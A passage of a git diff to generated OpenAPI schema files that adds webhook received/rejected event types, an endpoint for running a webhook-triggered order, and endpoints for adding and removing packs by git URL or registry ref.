+            "type": "string"
+          },
+          "type": {
+            "const": "webhook.rejected",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
           }
         },
         "required": [
-          "session_id",
-          "count"
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload",
+          "city"
         ],
+        "title": "TypedTaggedEventStreamEnvelope webhook.rejected",
         "type": "object"
       },
-      "WorkerOperationEventPayload": {
+      "TypedTaggedEventStreamEnvelopeWorkerOperation": {
         "additionalProperties": false,
         "properties": {
-          "agent_name": {
-            "description": "Qualified agent identity (best-effort, absent if the session has no agent_name metadata or alias).",
+          "actor": {
             "type": "string"
           },
-          "bead_id": {
-            "description": "Work bead this operation is acting on (best-effort, may be absent for non-bead-scoped ops).",
+          "city": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WorkerOperationEventPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
+            "format": "int64",
+            "minimum": 0,
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "worker.operation",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
+          }
+        },
+        "required": [
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload",
+          "city"
+        ],
+        "title": "TypedTaggedEventStreamEnvelope worker.operation",
+        "type": "object"
+      },
+      "UnboundEventPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "count": {
+            "format": "int64",
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          }
+        },
+        "required": [
+          "session_id",
+          "count"
+        ],
+        "type": "object"
+      },
+      "WebhookReceivedPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "body_size": {
+            "description": "Raw request body size in bytes (never the body itself).",
+            "format": "int64",
+            "type": "integer"
+          },
+          "dedup_id": {
+            "description": "Provider delivery id used for dedup (or a body hash when the scheme carries none).",
+            "type": "string"
+          },
+          "deduped": {
+            "description": "True when this delivery was a duplicate and was NOT dispatched.",
+            "type": "boolean"
+          },
+          "dispatched": {
+            "description": "True when an order was launched for this delivery.",
+            "type": "boolean"
+          },
+          "event_type": {
+            "description": "Provider event type surfaced by the scheme (e.g. pull_request).",
+            "type": "string"
+          },
+          "matched": {
+            "description": "True when a [[webhook.rule]] matched the delivery.",
+            "type": "boolean"
+          },
+          "order": {
+            "description": "Target order name when a rule matched.",
+            "type": "string"
+          },
+          "rig": {
+            "description": "Target rig when the matched rule scoped one.",
+            "type": "string"
+          },
+          "rule_index": {
+            "description": "Matched rule index, or -1 when no rule matched.",
+            "format": "int64",
+            "type": "integer"
+          },
+          "scheme": {
+            "description": "Verifier scheme (github-hmac-sha256, slack-v0, …).",
+            "type": "string"
+          },
+          "scoped_name": {
+            "description": "Rig-qualified name of the fired order.",
+            "type": "string"
+          },
+          "tracking_id": {
+            "description": "Tracking bead id for the dispatch, when fired.",
+            "type": "string"
+          },
+          "webhook": {
+            "description": "Configured webhook name that received the delivery.",
+            "type": "string"
+          }
+        },
+        "required": [
+          "webhook",
+          "deduped",
+          "matched",
+          "dispatched",
+          "rule_index",
+          "body_size"
+        ],
+        "type": "object"
+      },
+      "WebhookRejectedPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "body_size": {
+            "description": "Raw request body size in bytes, when the body was read.",
+            "format": "int64",
+            "type": "integer"
+          },
+          "dedup_id": {
+            "description": "Provider delivery id, when known.",
+            "type": "string"
+          },
+          "event_type": {
+            "description": "Provider event type, when known at the rejection point.",
+            "type": "string"
+          },
+          "reason": {
+            "description": "Rejection reason enum (perimeter_denied, read_only, rate_limited, operator_fault, verify_failed, bad_payload, dispatch_refused, …).",
+            "type": "string"
+          },
+          "scheme": {
+            "description": "Verifier scheme, when the webhook resolved.",
+            "type": "string"
+          },
+          "status": {
+            "description": "HTTP status returned to the sender.",
+            "format": "int64",
+            "type": "integer"
+          },
+          "webhook": {
+            "description": "Configured webhook name (empty only for unresolved routes, which are not evented).",
+            "type": "string"
+          }
+        },
+        "required": [
+          "webhook",
+          "reason"
+        ],
+        "type": "object"
+      },
+      "WorkerOperationEventPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "agent_name": {
+            "description": "Qualified agent identity (best-effort, absent if the session has no agent_name metadata or alias).",
+            "type": "string"
+          },
+          "bead_id": {
+            "description": "Work bead this operation is acting on (best-effort, may be absent for non-bead-scoped ops).",
             "type": "string"
           },
           "cache_creation_tokens": {
@@ -25626,6 +26085,89 @@
         "summary": "Post v0 city by city name order by name enable"
       }
     },
+    "/v0/city/{cityName}/order/{name}/run": {
+      "post": {
+        "operationId": "post-v0-city-by-city-name-order-by-name-run",
+        "parameters": [
+          {
+            "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+            "in": "header",
+            "name": "X-GC-Request",
+            "required": true,
+            "schema": {
+              "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+              "minLength": 1,
+              "type": "string"
+            }
+          },
+          {
+            "description": "City name.",
+            "in": "path",
+            "name": "cityName",
+            "required": true,
+            "schema": {
+              "description": "City name.",
+              "minLength": 1,
+              "pattern": "\\S",
+              "type": "string"
+            }
+          },
+          {
+            "description": "Order name or scoped name of a trigger=\"webhook\" order.",
+            "in": "path",
+            "name": "name",
+            "required": true,
+            "schema": {
+              "description": "Order name or scoped name of a trigger=\"webhook\" order.",
+              "type": "string"
+            }
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "schema": {
+                "$ref": "#/components/schemas/OrderRunInputBody"
+              }
+            }
+          },
+          "required": true
+        },
+        "responses": {
+          "202": {
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/OrderRunOutputBody"
+                }
+              }
+            },
+            "description": "Accepted",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          },
+          "default": {
+            "content": {
+              "application/problem+json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ErrorModel"
+                }
+              }
+            },
+            "description": "Error",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          }
+        },
+        "summary": "Post v0 city by city name order by name run"
+      }
+    },
     "/v0/city/{cityName}/orders": {
       "get": {
         "operationId": "get-v0-city-by-city-name-orders",
@@ -25967,6 +26509,151 @@
           }
         },
         "summary": "Get v0 city by city name packs"
+      },
+      "post": {
+        "description": "Imports a pack into the city by source (a remote git URL or registry ref), resolving + installing it so its templates compose into the city.",
+        "operationId": "add-pack",
+        "parameters": [
+          {
+            "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+            "in": "header",
+            "name": "X-GC-Request",
+            "required": true,
+            "schema": {
+              "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+              "minLength": 1,
+              "type": "string"
+            }
+          },
+          {
+            "description": "City name.",
+            "in": "path",
+            "name": "cityName",
+            "required": true,
+            "schema": {
+              "description": "City name.",
+              "minLength": 1,
+              "pattern": "\\S",
+              "type": "string"
+            }
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "schema": {
+                "$ref": "#/components/schemas/PackAddInputBody"
+              }
+            }
+          },
+          "required": true
+        },
+        "responses": {
+          "201": {
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/PackAddedOutputBody"
+                }
+              }
+            },
+            "description": "Created",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          },
+          "default": {
+            "content": {
+              "application/problem+json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ErrorModel"
+                }
+              }
+            },
+            "description": "Error",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          }
+        },
+        "summary": "Add a pack"
+      }
+    },
+    "/v0/city/{cityName}/packs/{name}": {
+      "delete": {
+        "operationId": "delete-v0-city-by-city-name-packs-by-name",
+        "parameters": [
+          {
+            "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+            "in": "header",
+            "name": "X-GC-Request",
+            "required": true,
+            "schema": {
+              "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+              "minLength": 1,
+              "type": "string"
+            }
+          },
+          {
+            "description": "City name.",
+            "in": "path",
+            "name": "cityName",
+            "required": true,
+            "schema": {
+              "description": "City name.",
+              "minLength": 1,
+              "pattern": "\\S",
+              "type": "string"
+            }
+          },
+          {
+            "description": "The import binding name to remove (the [imports.\u003cname\u003e] key).",
+            "in": "path",
+            "name": "name",
+            "required": true,
+            "schema": {
+              "description": "The import binding name to remove (the [imports.\u003cname\u003e] key).",
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/PackRemovedOutputBody"
+                }
+              }
+            },
+            "description": "OK",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          },
+          "default": {
+            "content": {
+              "application/problem+json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ErrorModel"
+                }
+              }
+            },
+            "description": "Error",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          }
+        },
+        "summary": "Delete v0 city by city name packs by name"
       }
     },
     "/v0/city/{cityName}/patches/agent/{base}": {
diff --git a/docs/reference/schema/openapi.txt b/docs/reference/schema/openapi.txt
index 4f88edf5ff..a5bd6d2ca5 100644
--- a/docs/reference/schema/openapi.txt
+++ b/docs/reference/schema/openapi.txt
@@ -2439,6 +2439,12 @@
           {
             "$ref": "#/components/schemas/UnboundEventPayload"
           },
+          {
+            "$ref": "#/components/schemas/WebhookReceivedPayload"
+          },
+          {
+            "$ref": "#/components/schemas/WebhookRejectedPayload"
+          },
           {
             "$ref": "#/components/schemas/WorkerOperationEventPayload"
           }
@@ -5019,6 +5025,40 @@
         ],
         "type": "object"
       },
+      "OrderRunInputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "vars": {
+            "additionalProperties": {
+              "type": "string"
+            },
+            "description": "Declared [order.params] as key/value dispatch args (parity with 'gc order run --var'). Namespaced into the exec env under GC_WEBHOOK_ARG_ before overlay (R4).",
+            "type": "object"
+          }
+        },
+        "type": "object"
+      },
+      "OrderRunOutputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "scoped_name": {
+            "description": "Rig-qualified name of the fired order.",
+            "type": "string"
+          },
+          "status": {
+            "description": "\"dispatched\" when the order fired.",
+            "type": "string"
+          },
+          "tracking_id": {
+            "description": "Tracking bead id for the dispatch.",
+            "type": "string"
+          }
+        },
+        "required": [
+          "status"
+        ],
+        "type": "object"
+      },
       "OrdersFeedBody": {
         "additionalProperties": false,
         "properties": {
@@ -5137,6 +5177,61 @@
         ],
         "type": "object"
       },
+      "PackAddInputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "name": {
+            "description": "Optional local binding name override; derived from the source when omitted.",
+            "type": "string"
+          },
+          "source": {
+            "description": "Pack source: a remote git URL or registry ref (a sub-path of a repo is allowed).",
+            "examples": [
+              "https://github.com/org/repo/tree/main/packs/review"
+            ],
+            "minLength": 1,
+            "type": "string"
+          },
+          "version": {
+            "description": "Optional semver constraint for a git-backed pack.",
+            "examples": [
+              "^1.2.0"
+            ],
+            "type": "string"
+          }
+        },
+        "required": [
+          "source"
+        ],
+        "type": "object"
+      },
+      "PackAddedOutputBody": {
+        "additionalProperties": false,
+        "properties": {
+          "git_backed": {
+            "description": "Whether the resolved source is git-backed (has a lock entry).",
+            "type": "boolean"
+          },
+          "name": {
+            "description": "The local binding name written to [imports.\u003cname\u003e].",
+            "type": "string"
+          },
+          "source": {
+            "description": "The canonical source string written to the manifest.",
+            "type": "string"
+          },
+          "version": {
+            "description": "The version constraint written, if any.",
+            "type": "string"
+          }
+        },
+        "required": [
+          "name",
+          "source",
+          "git_backed"
+        ],
+        "type": "object"
+      },
       "PackListBody": {
         "additionalProperties": false,
         "properties": {
@@ -5156,19 +5251,29 @@
         ],
         "type": "object"
       },
-      "PackResponse": {
+      "PackRemovedOutputBody": {
         "additionalProperties": false,
         "properties": {
           "name": {
+            "description": "The binding name removed.",
             "type": "string"
-          },
-          "path": {
+          }
+        },
+        "required": [
+          "name"
+        ],
+        "type": "object"
+      },
+      "PackResponse": {
+        "additionalProperties": false,
+        "properties": {
+          "name": {
             "type": "string"
           },
-          "ref": {
+          "source": {
             "type": "string"
           },
-          "source": {
+          "version": {
             "type": "string"
           }
         },
@@ -5469,6 +5574,13 @@
             "minLength": 1,
             "type": "string"
           },
+          "option_defaults": {
+            "additionalProperties": {
+              "type": "string"
+            },
+            "description": "Provider option defaults (e.g. model). Keys are merged on update.",
+            "type": "object"
+          },
           "options_schema_merge": {
             "description": "Options schema merge mode across inheritance chain.",
             "type": "string"
@@ -5992,6 +6104,13 @@
             "description": "Environment variables.",
             "type": "object"
           },
+          "option_defaults": {
+            "additionalProperties": {
+              "type": "string"
+            },
+            "description": "Provider option defaults (e.g. model). Keys are merged on update.",
+            "type": "object"
+          },
           "options_schema_merge": {
             "description": "Options schema merge mode across inheritance chain.",
             "type": "string"
@@ -8488,6 +8607,8 @@
             "supervisor.request": "#/components/schemas/TypedEventStreamEnvelopeSupervisorRequest",
             "supervisor.shutdown_requested": "#/components/schemas/TypedEventStreamEnvelopeSupervisorShutdownRequested",
             "supervisor.started": "#/components/schemas/TypedEventStreamEnvelopeSupervisorStarted",
+            "webhook.received": "#/components/schemas/TypedEventStreamEnvelopeWebhookReceived",
+            "webhook.rejected": "#/components/schemas/TypedEventStreamEnvelopeWebhookRejected",
             "worker.operation": "#/components/schemas/TypedEventStreamEnvelopeWorkerOperation"
           },
           "propertyName": "type"
@@ -8730,6 +8851,12 @@
           {
             "$ref": "#/components/schemas/TypedEventStreamEnvelopeSupervisorStarted"
           },
+          {
+            "$ref": "#/components/schemas/TypedEventStreamEnvelopeWebhookReceived"
+          },
+          {
+            "$ref": "#/components/schemas/TypedEventStreamEnvelopeWebhookRejected"
+          },
           {
             "$ref": "#/components/schemas/TypedEventStreamEnvelopeWorkerOperation"
           },
@@ -9705,6 +9832,8 @@
                 "extmsg.inbound",
                 "extmsg.outbound",
                 "extmsg.outbound_channel_mismatch",
+                "webhook.received",
+                "webhook.rejected",
                 "events.rotated",
                 "gc.store.maintenance.done",
                 "gc.store.maintenance.failed",
@@ -12900,6 +13029,108 @@
         "title": "TypedEventStreamEnvelope supervisor.started",
         "type": "object"
       },
+      "TypedEventStreamEnvelopeWebhookReceived": {
+        "additionalProperties": false,
+        "properties": {
+          "actor": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WebhookReceivedPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
+            "format": "int64",
+            "minimum": 0,
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "webhook.received",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
+          }
+        },
+        "required": [
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload"
+        ],
+        "title": "TypedEventStreamEnvelope webhook.received",
+        "type": "object"
+      },
+      "TypedEventStreamEnvelopeWebhookRejected": {
+        "additionalProperties": false,
+        "properties": {
+          "actor": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WebhookRejectedPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
+            "format": "int64",
+            "minimum": 0,
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "webhook.rejected",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
+          }
+        },
+        "required": [
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload"
+        ],
+        "title": "TypedEventStreamEnvelope webhook.rejected",
+        "type": "object"
+      },
       "TypedEventStreamEnvelopeWorkerOperation": {
         "additionalProperties": false,
         "properties": {
@@ -13034,6 +13265,8 @@
             "supervisor.request": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorRequest",
             "supervisor.shutdown_requested": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorShutdownRequested",
             "supervisor.started": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorStarted",
+            "webhook.received": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookReceived",
+            "webhook.rejected": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookRejected",
             "worker.operation": "#/components/schemas/TypedTaggedEventStreamEnvelopeWorkerOperation"
           },
           "propertyName": "type"
@@ -13276,6 +13509,12 @@
           {
             "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeSupervisorStarted"
           },
+          {
+            "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookReceived"
+          },
+          {
+            "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeWebhookRejected"
+          },
           {
             "$ref": "#/components/schemas/TypedTaggedEventStreamEnvelopeWorkerOperation"
           },
@@ -14322,6 +14561,8 @@
                 "extmsg.inbound",
                 "extmsg.outbound",
                 "extmsg.outbound_channel_mismatch",
+                "webhook.received",
+                "webhook.rejected",
                 "events.rotated",
                 "gc.store.maintenance.done",
                 "gc.store.maintenance.failed",
@@ -17766,7 +18007,7 @@
         "title": "TypedTaggedEventStreamEnvelope supervisor.started",
         "type": "object"
       },
-      "TypedTaggedEventStreamEnvelopeWorkerOperation": {
+      "TypedTaggedEventStreamEnvelopeWebhookReceived": {
         "additionalProperties": false,
         "properties": {
           "actor": {
@@ -17779,7 +18020,7 @@
             "type": "string"
           },
           "payload": {
-            "$ref": "#/components/schemas/WorkerOperationEventPayload"
+            "$ref": "#/components/schemas/WebhookReceivedPayload"
           },
           "run_id": {
             "type": "string"
@@ -17803,7 +18044,7 @@
             "type": "string"
           },
           "type": {
-            "const": "worker.operation",
+            "const": "webhook.received",
             "type": "string"
           },
           "workflow": {
@@ -17818,35 +18059,253 @@
           "payload",
           "city"
         ],
-        "title": "TypedTaggedEventStreamEnvelope worker.operation",
+        "title": "TypedTaggedEventStreamEnvelope webhook.received",
         "type": "object"
       },
-      "UnboundEventPayload": {
+      "TypedTaggedEventStreamEnvelopeWebhookRejected": {
         "additionalProperties": false,
         "properties": {
-          "count": {
+          "actor": {
+            "type": "string"
+          },
+          "city": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WebhookRejectedPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
             "format": "int64",
+            "minimum": 0,
             "type": "integer"
           },
           "session_id": {
             "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "webhook.rejected",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
           }
         },
         "required": [
-          "session_id",
-          "count"
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload",
+          "city"
         ],
+        "title": "TypedTaggedEventStreamEnvelope webhook.rejected",
         "type": "object"
       },
-      "WorkerOperationEventPayload": {
+      "TypedTaggedEventStreamEnvelopeWorkerOperation": {
         "additionalProperties": false,
         "properties": {
-          "agent_name": {
-            "description": "Qualified agent identity (best-effort, absent if the session has no agent_name metadata or alias).",
+          "actor": {
             "type": "string"
           },
-          "bead_id": {
-            "description": "Work bead this operation is acting on (best-effort, may be absent for non-bead-scoped ops).",
+          "city": {
+            "type": "string"
+          },
+          "message": {
+            "type": "string"
+          },
+          "payload": {
+            "$ref": "#/components/schemas/WorkerOperationEventPayload"
+          },
+          "run_id": {
+            "type": "string"
+          },
+          "seq": {
+            "format": "int64",
+            "minimum": 0,
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          },
+          "step_id": {
+            "type": "string"
+          },
+          "subject": {
+            "type": "string"
+          },
+          "ts": {
+            "format": "date-time",
+            "type": "string"
+          },
+          "type": {
+            "const": "worker.operation",
+            "type": "string"
+          },
+          "workflow": {
+            "$ref": "#/components/schemas/WorkflowEventProjection"
+          }
+        },
+        "required": [
+          "seq",
+          "type",
+          "ts",
+          "actor",
+          "payload",
+          "city"
+        ],
+        "title": "TypedTaggedEventStreamEnvelope worker.operation",
+        "type": "object"
+      },
+      "UnboundEventPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "count": {
+            "format": "int64",
+            "type": "integer"
+          },
+          "session_id": {
+            "type": "string"
+          }
+        },
+        "required": [
+          "session_id",
+          "count"
+        ],
+        "type": "object"
+      },
+      "WebhookReceivedPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "body_size": {
+            "description": "Raw request body size in bytes (never the body itself).",
+            "format": "int64",
+            "type": "integer"
+          },
+          "dedup_id": {
+            "description": "Provider delivery id used for dedup (or a body hash when the scheme carries none).",
+            "type": "string"
+          },
+          "deduped": {
+            "description": "True when this delivery was a duplicate and was NOT dispatched.",
+            "type": "boolean"
+          },
+          "dispatched": {
+            "description": "True when an order was launched for this delivery.",
+            "type": "boolean"
+          },
+          "event_type": {
+            "description": "Provider event type surfaced by the scheme (e.g. pull_request).",
+            "type": "string"
+          },
+          "matched": {
+            "description": "True when a [[webhook.rule]] matched the delivery.",
+            "type": "boolean"
+          },
+          "order": {
+            "description": "Target order name when a rule matched.",
+            "type": "string"
+          },
+          "rig": {
+            "description": "Target rig when the matched rule scoped one.",
+            "type": "string"
+          },
+          "rule_index": {
+            "description": "Matched rule index, or -1 when no rule matched.",
+            "format": "int64",
+            "type": "integer"
+          },
+          "scheme": {
+            "description": "Verifier scheme (github-hmac-sha256, slack-v0, …).",
+            "type": "string"
+          },
+          "scoped_name": {
+            "description": "Rig-qualified name of the fired order.",
+            "type": "string"
+          },
+          "tracking_id": {
+            "description": "Tracking bead id for the dispatch, when fired.",
+            "type": "string"
+          },
+          "webhook": {
+            "description": "Configured webhook name that received the delivery.",
+            "type": "string"
+          }
+        },
+        "required": [
+          "webhook",
+          "deduped",
+          "matched",
+          "dispatched",
+          "rule_index",
+          "body_size"
+        ],
+        "type": "object"
+      },
+      "WebhookRejectedPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "body_size": {
+            "description": "Raw request body size in bytes, when the body was read.",
+            "format": "int64",
+            "type": "integer"
+          },
+          "dedup_id": {
+            "description": "Provider delivery id, when known.",
+            "type": "string"
+          },
+          "event_type": {
+            "description": "Provider event type, when known at the rejection point.",
+            "type": "string"
+          },
+          "reason": {
+            "description": "Rejection reason enum (perimeter_denied, read_only, rate_limited, operator_fault, verify_failed, bad_payload, dispatch_refused, …).",
+            "type": "string"
+          },
+          "scheme": {
+            "description": "Verifier scheme, when the webhook resolved.",
+            "type": "string"
+          },
+          "status": {
+            "description": "HTTP status returned to the sender.",
+            "format": "int64",
+            "type": "integer"
+          },
+          "webhook": {
+            "description": "Configured webhook name (empty only for unresolved routes, which are not evented).",
+            "type": "string"
+          }
+        },
+        "required": [
+          "webhook",
+          "reason"
+        ],
+        "type": "object"
+      },
+      "WorkerOperationEventPayload": {
+        "additionalProperties": false,
+        "properties": {
+          "agent_name": {
+            "description": "Qualified agent identity (best-effort, absent if the session has no agent_name metadata or alias).",
+            "type": "string"
+          },
+          "bead_id": {
+            "description": "Work bead this operation is acting on (best-effort, may be absent for non-bead-scoped ops).",
             "type": "string"
           },
           "cache_creation_tokens": {
@@ -25626,6 +26085,89 @@
         "summary": "Post v0 city by city name order by name enable"
       }
     },
+    "/v0/city/{cityName}/order/{name}/run": {
+      "post": {
+        "operationId": "post-v0-city-by-city-name-order-by-name-run",
+        "parameters": [
+          {
+            "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+            "in": "header",
+            "name": "X-GC-Request",
+            "required": true,
+            "schema": {
+              "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+              "minLength": 1,
+              "type": "string"
+            }
+          },
+          {
+            "description": "City name.",
+            "in": "path",
+            "name": "cityName",
+            "required": true,
+            "schema": {
+              "description": "City name.",
+              "minLength": 1,
+              "pattern": "\\S",
+              "type": "string"
+            }
+          },
+          {
+            "description": "Order name or scoped name of a trigger=\"webhook\" order.",
+            "in": "path",
+            "name": "name",
+            "required": true,
+            "schema": {
+              "description": "Order name or scoped name of a trigger=\"webhook\" order.",
+              "type": "string"
+            }
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "schema": {
+                "$ref": "#/components/schemas/OrderRunInputBody"
+              }
+            }
+          },
+          "required": true
+        },
+        "responses": {
+          "202": {
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/OrderRunOutputBody"
+                }
+              }
+            },
+            "description": "Accepted",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          },
+          "default": {
+            "content": {
+              "application/problem+json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ErrorModel"
+                }
+              }
+            },
+            "description": "Error",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          }
+        },
+        "summary": "Post v0 city by city name order by name run"
+      }
+    },
     "/v0/city/{cityName}/orders": {
       "get": {
         "operationId": "get-v0-city-by-city-name-orders",
@@ -25967,6 +26509,151 @@
           }
         },
         "summary": "Get v0 city by city name packs"
+      },
+      "post": {
+        "description": "Imports a pack into the city by source (a remote git URL or registry ref), resolving + installing it so its templates compose into the city.",
+        "operationId": "add-pack",
+        "parameters": [
+          {
+            "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+            "in": "header",
+            "name": "X-GC-Request",
+            "required": true,
+            "schema": {
+              "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+              "minLength": 1,
+              "type": "string"
+            }
+          },
+          {
+            "description": "City name.",
+            "in": "path",
+            "name": "cityName",
+            "required": true,
+            "schema": {
+              "description": "City name.",
+              "minLength": 1,
+              "pattern": "\\S",
+              "type": "string"
+            }
+          }
+        ],
+        "requestBody": {
+          "content": {
+            "application/json": {
+              "schema": {
+                "$ref": "#/components/schemas/PackAddInputBody"
+              }
+            }
+          },
+          "required": true
+        },
+        "responses": {
+          "201": {
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/PackAddedOutputBody"
+                }
+              }
+            },
+            "description": "Created",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          },
+          "default": {
+            "content": {
+              "application/problem+json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ErrorModel"
+                }
+              }
+            },
+            "description": "Error",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          }
+        },
+        "summary": "Add a pack"
+      }
+    },
+    "/v0/city/{cityName}/packs/{name}": {
+      "delete": {
+        "operationId": "delete-v0-city-by-city-name-packs-by-name",
+        "parameters": [
+          {
+            "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+            "in": "header",
+            "name": "X-GC-Request",
+            "required": true,
+            "schema": {
+              "description": "Anti-CSRF header required on mutation requests. Any non-empty value is accepted; the header's presence is what the server checks.",
+              "minLength": 1,
+              "type": "string"
+            }
+          },
+          {
+            "description": "City name.",
+            "in": "path",
+            "name": "cityName",
+            "required": true,
+            "schema": {
+              "description": "City name.",
+              "minLength": 1,
+              "pattern": "\\S",
+              "type": "string"
+            }
+          },
+          {
+            "description": "The import binding name to remove (the [imports.\u003cname\u003e] key).",
+            "in": "path",
+            "name": "name",
+            "required": true,
+            "schema": {
+              "description": "The import binding name to remove (the [imports.\u003cname\u003e] key).",
+              "type": "string"
+            }
+          }
+        ],
+        "responses": {
+          "200": {
+            "content": {
+              "application/json": {
+                "schema": {
+                  "$ref": "#/components/schemas/PackRemovedOutputBody"
+                }
+              }
+            },
+            "description": "OK",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          },
+          "default": {
+            "content": {
+              "application/problem+json": {
+                "schema": {
+                  "$ref": "#/components/schemas/ErrorModel"
+                }
+              }
+            },
+            "description": "Error",
+            "headers": {
+              "X-GC-Request-Id": {
+                "$ref": "#/components/headers/X-GC-Request-Id"
+              }
+            }
+          }
+        },
+        "summary": "Delete v0 city by city name packs by name"
       }
     },
     "/v0/city/{cityName}/patches/agent/{base}": {
diff --git a/docs/reference/schema/pack-schema.json b/docs/reference/schema/pack-schema.json
index 0e021a6739..389a4a0b07 100644
